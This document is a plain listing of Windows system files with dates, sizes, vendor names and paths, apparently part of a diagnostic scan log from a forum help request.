2017-03-18 22:58 - 2017-03-18 22:58 - 00130560 _____ (Microsoft Corporation) C:\windows\system32\MediaFoundation.DefaultPerceptionProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00130560 _____ (Microsoft Corporation) C:\windows\splwow64.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00130048 _____ (Microsoft Corporation) C:\windows\system32\energyprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00130048 _____ (Microsoft Corporation) C:\windows\system32\eeprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00129736 _____ (Microsoft Corporation) C:\windows\SysWOW64\winmmbase.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00129536 _____ (Microsoft Corporation) C:\windows\SysWOW64\iassvcs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00129536 _____ (Microsoft Corporation) C:\windows\SysWOW64\fsutil.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00129184 _____ (Microsoft Corporation) C:\windows\SysWOW64\gdi32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00129024 _____ (Microsoft Corporation) C:\windows\SysWOW64\Dsui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00129024 _____ (Microsoft Corporation) C:\windows\system32\httpprxm.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00129024 _____ (Microsoft Corporation) C:\windows\system32\dskquota.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00128512 _____ (Microsoft Corporation) C:\windows\SysWOW64\fwbase.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00128512 _____ (Microsoft Corporation) C:\windows\system32\rasman.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00128512 _____ (Microsoft Corporation) C:\windows\system32\policymanagerprecheck.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00128000 _____ (Microsoft Corporation) C:\windows\SysWOW64\fdWSD.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00128000 _____ (Microsoft Corporation) C:\windows\SysWOW64\fdeploy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00128000 _____ (Microsoft Corporation) C:\windows\SysWOW64\fde.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00128000 _____ (Microsoft Corporation) C:\windows\system32\SettingsExtensibilityHandlers.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00127904 _____ (Microsoft Corporation) C:\windows\system32\offlinelsa.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00127488 _____ (Microsoft Corporation) C:\windows\SysWOW64\wiadss.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00127488 _____ (Microsoft Corporation) C:\windows\SysWOW64\netid.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00127488 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_SIUF.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00127488 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_ClosedCaptioning.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00127488 _____ (Microsoft Corporation) C:\windows\system32\mssitlb.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00127488 _____ (Microsoft Corporation) C:\windows\system32\Drivers\Ndu.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00126976 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Networking.Sockets.PushEnabledApplication.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00126632 _____ (Microsoft Corporation) C:\windows\system32\cryptxml.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00125952 _____ (Microsoft Corporation) C:\windows\SysWOW64\SimAuth.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00125952 _____ (Microsoft Corporation) C:\windows\system32\dispdiag.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00125440 _____ C:\windows\system32\HeatCore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00125440 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.SerialCommunication.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00125440 _____ (Microsoft Corporation) C:\windows\SysWOW64\gamingtcui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00125440 _____ (Microsoft Corporation) C:\windows\system32\Windows.UI.Storage.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00125344 _____ (Microsoft Corporation) C:\windows\SysWOW64\dwmapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00125088 _____ (Microsoft Corporation) C:\windows\SysWOW64\KerbClientShared.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00124928 _____ (Microsoft Corporation) C:\windows\SysWOW64\dnscmmc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00124544 _____ (Microsoft Corporation) C:\windows\SysWOW64\sspicli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00124416 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Storage.Compression.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00124416 _____ (Microsoft Corporation) C:\windows\SysWOW64\msvfw32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00124416 _____ (Microsoft Corporation) C:\windows\system32\ShellCommonCommonProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00124416 _____ (Microsoft Corporation) C:\windows\system32\DeviceElementSource.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00124118 _____ C:\windows\SysWOW64\comexp.msc
2017-03-18 22:58 - 2017-03-18 22:58 - 00123904 _____ (Microsoft Corporation) C:\windows\SysWOW64\slc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00123904 _____ (Microsoft Corporation) C:\windows\SysWOW64\msdart.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00123904 _____ (Microsoft Corporation) C:\windows\SysWOW64\msaatext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00123904 _____ (Microsoft Corporation) C:\windows\system32\dafAspInfraProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00123520 _____ (Microsoft Corporation) C:\windows\SysWOW64\Clipc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00123392 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.System.SystemManagement.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00123392 _____ (Microsoft Corporation) C:\windows\SysWOW64\gcdef.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00123392 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_SharedExperiences_Rome.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00123392 _____ (Microsoft Corporation) C:\windows\system32\efsadu.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00122880 _____ (Microsoft Corporation) C:\windows\SysWOW64\wshom.ocx
2017-03-18 22:58 - 2017-03-18 22:58 - 00122880 _____ (Microsoft Corporation) C:\windows\SysWOW64\srpapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00122880 _____ (Microsoft Corporation) C:\windows\system32\Windows.SharedPC.CredentialProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00122784 _____ (Microsoft Corporation) C:\windows\SysWOW64\migisol.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00121856 _____ (Microsoft Corporation) C:\windows\SysWOW64\xwtpw32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00121856 _____ (Microsoft Corporation) C:\windows\SysWOW64\sendmail.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00121856 _____ (Microsoft Corporation) C:\windows\SysWOW64\BrowserSettingSync.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00121856 _____ (Microsoft Corporation) C:\windows\SysWOW64\AuthBroker.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00121344 _____ (Microsoft Corporation) C:\windows\SysWOW64\ProximityCommon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00121344 _____ (Microsoft Corporation) C:\windows\system32\samlib.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00121344 _____ (Microsoft Corporation) C:\windows\system32\fontview.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00121344 _____ (Microsoft Corporation) C:\windows\system32\DevPropMgr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00120832 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Haptics.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00120832 _____ (Microsoft Corporation) C:\windows\system32\loadperf.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00120552 _____ (Microsoft Corporation) C:\windows\SysWOW64\acmigration.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00120320 _____ (Microsoft Corporation) C:\windows\SysWOW64\socialapis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00120320 _____ (Microsoft Corporation) C:\windows\SysWOW64\ngckeyenum.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00120320 _____ (Microsoft Corporation) C:\windows\SysWOW64\iscsicpl.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00120320 _____ (Microsoft Corporation) C:\windows\SysWOW64\advpack.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00120320 _____ (Intel Corporation.) C:\windows\SysWOW64\ir41_qcoriginal.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00119808 _____ (Microsoft Corporation) C:\windows\SysWOW64\EhStorAuthn.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00119808 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmstyle.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00119424 _____ (Microsoft Corporation) C:\windows\SysWOW64\ncrypt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00119296 _____ (Microsoft Corporation) C:\windows\SysWOW64\mimofcodec.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00118880 _____ (Microsoft Corporation) C:\windows\system32\dmcmnutils.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00118872 _____ (Microsoft Corporation) C:\windows\SysWOW64\cabinet.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00118784 _____ (Microsoft Corporation) C:\windows\SysWOW64\rshx32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00118784 _____ (Microsoft Corporation) C:\windows\SysWOW64\eapsimextdesktop.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00118784 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppointmentActivation.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00118272 _____ (Microsoft Corporation) C:\windows\SysWOW64\sqlcecompact40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00118272 _____ (Microsoft Corporation) C:\windows\system32\wlgpclnt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00118272 _____ (Microsoft Corporation) C:\windows\system32\DafPrintProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00117848 _____ (Microsoft Corporation) C:\windows\SysWOW64\omadmapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00117760 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.StateRepositoryUpgrade.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00117760 _____ (Microsoft Corporation) C:\windows\system32\control.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00117344 _____ (Microsoft Corporation) C:\windows\system32\ncryptsslp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00117248 _____ (Microsoft Corporation) C:\windows\SysWOW64\raschap.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00117248 _____ (Microsoft Corporation) C:\windows\SysWOW64\oleprn.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00117248 _____ (Microsoft Corporation) C:\windows\SysWOW64\Kswdmcap.ax
2017-03-18 22:58 - 2017-03-18 22:58 - 00117248 _____ (Microsoft Corporation) C:\windows\SysWOW64\EhStorAPI.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00117248 _____ (Microsoft Corporation) C:\windows\system32\KnobsCsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00117248 _____ (Microsoft Corporation) C:\windows\system32\isoburn.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00116824 _____ C:\windows\SysWOW64\InputHost.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00116736 _____ (Microsoft Corporation) C:\windows\SysWOW64\imapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00116736 _____ (Microsoft Corporation) C:\windows\system32\ReportingCSP.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00116640 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.StateRepositoryClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00116224 _____ (Microsoft Corporation) C:\windows\system32\Windows.Cortana.ProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00115712 _____ (Microsoft Corporation) C:\windows\SysWOW64\WinSyncProviders.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00115712 _____ (Microsoft Corporation) C:\windows\SysWOW64\rekeywiz.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00115200 _____ (Microsoft Corporation) C:\windows\system32\wkspbrokerAx.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00115200 _____ (Microsoft Corporation) C:\windows\system32\mprmsg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00115104 _____ (Microsoft Corporation) C:\windows\SysWOW64\offlinelsa.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00115091 _____ C:\windows\SysWOW64\WF.msc
2017-03-18 22:58 - 2017-03-18 22:58 - 00114688 _____ (Microsoft Corporation) C:\windows\SysWOW64\sppwmi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00114688 _____ (Microsoft Corporation) C:\windows\SysWOW64\mtxoci.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00114688 _____ (Microsoft Corporation) C:\windows\SysWOW64\control.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00114688 _____ (Microsoft Corporation) C:\windows\system32\officecsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00114688 _____ (Microsoft Corporation) C:\windows\system32\logman.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00114176 _____ (Microsoft Corporation) C:\windows\SysWOW64\mmcshext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00114176 _____ (Microsoft Corporation) C:\windows\SysWOW64\IDStore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00114176 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmsynth.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00114176 _____ (Microsoft Corporation) C:\windows\system32\TSpkg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00114176 _____ (Microsoft Corporation) C:\windows\system32\msctfui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00113664 _____ (Microsoft Corporation) C:\windows\SysWOW64\mprmsg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00113664 _____ (Microsoft Corporation) C:\windows\SysWOW64\Microsoft-Windows-MapControls.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00113664 _____ (Microsoft Corporation) C:\windows\SysWOW64\fontview.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00113664 _____ (Microsoft Corporation) C:\windows\system32\Microsoft-Windows-MapControls.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00113256 _____ C:\windows\SysWOW64\compmgmt.msc
2017-03-18 22:58 - 2017-03-18 22:58 - 00113152 _____ (Microsoft Corporation) C:\windows\SysWOW64\networkhelper.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00113152 _____ (Microsoft Corporation) C:\windows\SysWOW64\mssitlb.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00113152 _____ (Microsoft Corporation) C:\windows\SysWOW64\bcastdvr.proxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00112696 _____ (Microsoft Corporation) C:\windows\system32\DevDispItemProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00112640 _____ (Microsoft Corporation) C:\windows\SysWOW64\mtstocom.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00112640 _____ (Microsoft Corporation) C:\windows\SysWOW64\MapsBtSvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00112640 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmview.ocx
2017-03-18 22:58 - 2017-03-18 22:58 - 00112640 _____ (Microsoft Corporation) C:\windows\SysWOW64\AuthFWWizFwk.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00112640 _____ (Microsoft Corporation) C:\windows\system32\wuuhosdeployment.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00112640 _____ (Microsoft Corporation) C:\windows\system32\IdCtrls.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00112184 _____ (Microsoft Corporation) C:\windows\SysWOW64\dxva2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00112128 _____ C:\windows\SysWOW64\HeatCore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00112128 _____ (Microsoft Corporation) C:\windows\SysWOW64\dmusic.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00112128 _____ (Microsoft Corporation) C:\windows\SysWOW64\activeds.tlb
2017-03-18 22:58 - 2017-03-18 22:58 - 00111616 _____ (Microsoft Corporation) C:\windows\SysWOW64\setupugc.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00111616 _____ (Microsoft Corporation) C:\windows\system32\Windows.Networking.ServiceDiscovery.Dnssd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00111616 _____ (Microsoft Corporation) C:\windows\system32\wcimage.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00111616 _____ (Microsoft Corporation) C:\windows\system32\OptionalFeatures.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00111616 _____ (Microsoft Corporation) C:\windows\system32\Fondue.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00111128 _____ (Microsoft Corporation) C:\windows\SysWOW64\gpapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00111104 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.System.Profile.RetailInfo.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00110648 _____ (Microsoft Corporation) C:\windows\system32\srvcli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00110648 _____ (Microsoft Corporation) C:\windows\system32\ResourcePolicyClient.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00110608 _____ (Microsoft Corporation) C:\windows\system32\OpenWith.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00110592 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.Lights.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00110080 _____ (Microsoft Corporation) C:\windows\SysWOW64\vssadmin.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00110080 _____ (Microsoft Corporation) C:\windows\SysWOW64\BitLockerCsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00109568 _____ (Microsoft Corporation) C:\windows\SysWOW64\shsetup.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00109568 _____ (Microsoft Corporation) C:\windows\SysWOW64\iasnap.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00109056 _____ (Microsoft Corporation) C:\windows\SysWOW64\tapiui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00109056 _____ (Microsoft Corporation) C:\windows\SysWOW64\resmon.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00109056 _____ (Microsoft Corporation) C:\windows\SysWOW64\D3DSCache.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00109056 _____ (Microsoft Corporation) C:\windows\system32\telephon.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00109056 _____ (Microsoft Corporation) C:\windows\system32\tapiui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00109056 _____ (Microsoft Corporation) C:\windows\system32\dab.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00108544 _____ (Microsoft Corporation) C:\windows\SysWOW64\tdlrecover.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00108544 _____ (Microsoft Corporation) C:\windows\SysWOW64\odbccp32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00108544 _____ (Microsoft Corporation) C:\windows\system32\Drivers\agilevpn.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00108032 _____ (Microsoft Corporation) C:\windows\SysWOW64\chartv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00108032 _____ (Microsoft Corporation) C:\windows\system32\wpninprc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00108032 _____ (Microsoft Corporation) C:\windows\system32\eapsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00107520 _____ (Microsoft Corporation) C:\windows\SysWOW64\telephon.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00107008 _____ (Microsoft Corporation) C:\windows\SysWOW64\winbio.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00107008 _____ (Microsoft Corporation) C:\windows\SysWOW64\Fondue.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00107008 _____ (Microsoft Corporation) C:\windows\system32\ngcpopkeysrv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00107008 _____ (Microsoft Corporation) C:\windows\system32\Drivers\rasl2tp.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00107008 _____ (Microsoft Corporation) C:\windows\system32\AppMon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00106496 _____ (Microsoft Corporation) C:\windows\SysWOW64\isoburn.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00106496 _____ (Microsoft Corporation) C:\windows\SysWOW64\EhStorPwdMgr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00106496 _____ (Microsoft Corporation) C:\windows\SysWOW64\efsadu.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00106496 _____ (Microsoft Corporation) C:\windows\system32\regapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00106496 _____ (Microsoft Corporation) C:\windows\system32\Family.Authentication.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00105984 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Networking.NetworkOperators.HotspotAuthentication.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00105984 _____ (Microsoft Corporation) C:\windows\SysWOW64\wcmapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00105472 _____ (Microsoft Corporation) C:\windows\SysWOW64\wscinterop.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00105472 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Internal.UI.Logon.ProxyStub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00105472 _____ (Microsoft Corporation) C:\windows\SysWOW64\edpauditapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00105472 _____ (Microsoft Corporation) C:\windows\SysWOW64\dbnetlib.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00105472 _____ (Microsoft Corporation) C:\windows\SysWOW64\console.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00105472 _____ (Microsoft Corporation) C:\windows\system32\usbui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00105472 _____ (Microsoft Corporation) C:\windows\system32\joinutil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00105472 _____ (Microsoft Corporation) C:\windows\system32\CredDialogBroker.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00105472 _____ (Microsoft Corporation) C:\windows\system32\AppHostRegistrationVerifier.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00104960 _____ (Microsoft Corporation) C:\windows\SysWOW64\shacct.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00104960 _____ (Microsoft Corporation) C:\windows\SysWOW64\BcastDVRCommon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00104960 _____ (Microsoft Corporation) C:\windows\system32\dmcfgutils.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00104448 _____ (Microsoft Corporation) C:\windows\SysWOW64\VoipRT.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00104448 _____ (Microsoft Corporation) C:\windows\SysWOW64\uexfat.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00104448 _____ (Microsoft Corporation) C:\windows\SysWOW64\sppc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00104448 _____ (Microsoft Corporation) C:\windows\SysWOW64\Robocopy.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00104448 _____ (Microsoft Corporation) C:\windows\SysWOW64\dskquota.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00104448 _____ (Microsoft Corporation) C:\windows\SysWOW64\cngcredui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00104448 _____ (Microsoft Corporation) C:\windows\system32\WalletProxy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00104448 _____ (Microsoft Corporation) C:\windows\system32\remotesp.tsp
2017-03-18 22:58 - 2017-03-18 22:58 - 00104448 _____ (Microsoft Corporation) C:\windows\system32\eappgnui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00104448 _____ (Microsoft Corporation) C:\windows\system32\Drivers\UcmCx.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00103936 _____ (Microsoft Corporation) C:\windows\SysWOW64\mi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00103848 _____ (Microsoft Corporation) C:\windows\SysWOW64\ncryptsslp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00103424 _____ (Microsoft Corporation) C:\windows\system32\Windows.System.Diagnostics.TraceReporting.PlatformDiagnosticActions.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00103424 _____ (Microsoft Corporation) C:\windows\system32\PinEnrollmentHelper.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00102400 _____ (Microsoft Corporation) C:\windows\SysWOW64\negoexts.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00102400 _____ (Microsoft Corporation) C:\windows\system32\updatepolicy.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00101800 _____ (Microsoft Corporation) C:\windows\system32\CredentialUIBroker.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00101376 _____ (Microsoft Corporation) C:\windows\system32\SimCfg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00101376 _____ (Microsoft Corporation) C:\windows\system32\DesktopShellExt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00100864 _____ (Microsoft Corporation) C:\windows\SysWOW64\ncpa.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00100864 _____ (Microsoft Corporation) C:\windows\SysWOW64\msscript.ocx
2017-03-18 22:58 - 2017-03-18 22:58 - 00100864 _____ (Microsoft Corporation) C:\windows\SysWOW64\joinutil.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00100864 _____ (Microsoft Corporation) C:\windows\system32\fidocredprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00100808 _____ (Microsoft Corporation) C:\windows\system32\wwapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00100776 _____ (Microsoft Corporation) C:\windows\SysWOW64\OpenWith.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00100352 _____ (Microsoft Corporation) C:\windows\SysWOW64\loadperf.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00100352 _____ (Microsoft Corporation) C:\windows\system32\wiascanprofiles.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00100352 _____ (Microsoft Corporation) C:\windows\system32\tasklist.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00100352 _____ (Microsoft Corporation) C:\windows\system32\systeminfo.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00100352 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_ContentDeliveryManager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00100352 _____ (Microsoft Corporation) C:\windows\system32\NFCProvisioningPlugin.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00100296 _____ (Microsoft Corporation) C:\windows\system32\mpr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00100264 _____ (Microsoft Corporation) C:\windows\system32\PickerHost.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00100224 _____ (Microsoft Corporation) C:\windows\SysWOW64\bcd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00099840 _____ (Microsoft Corporation) C:\windows\SysWOW64\xwreg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00099840 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Security.Credentials.UI.UserConsentVerifier.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00099840 _____ (Microsoft Corporation) C:\windows\SysWOW64\rasman.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00099840 _____ (Microsoft Corporation) C:\windows\system32\wlanext.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00099328 _____ (Microsoft Corporation) C:\windows\SysWOW64\hlink.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00099200 _____ (Microsoft Corporation) C:\windows\SysWOW64\cryptxml.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00098816 _____ (Microsoft Corporation) C:\windows\SysWOW64\CertPolEng.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00098816 _____ (Microsoft Corporation) C:\windows\system32\Query.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00098728 _____ (Microsoft Corporation) C:\windows\SysWOW64\DevDispItemProvider.dll
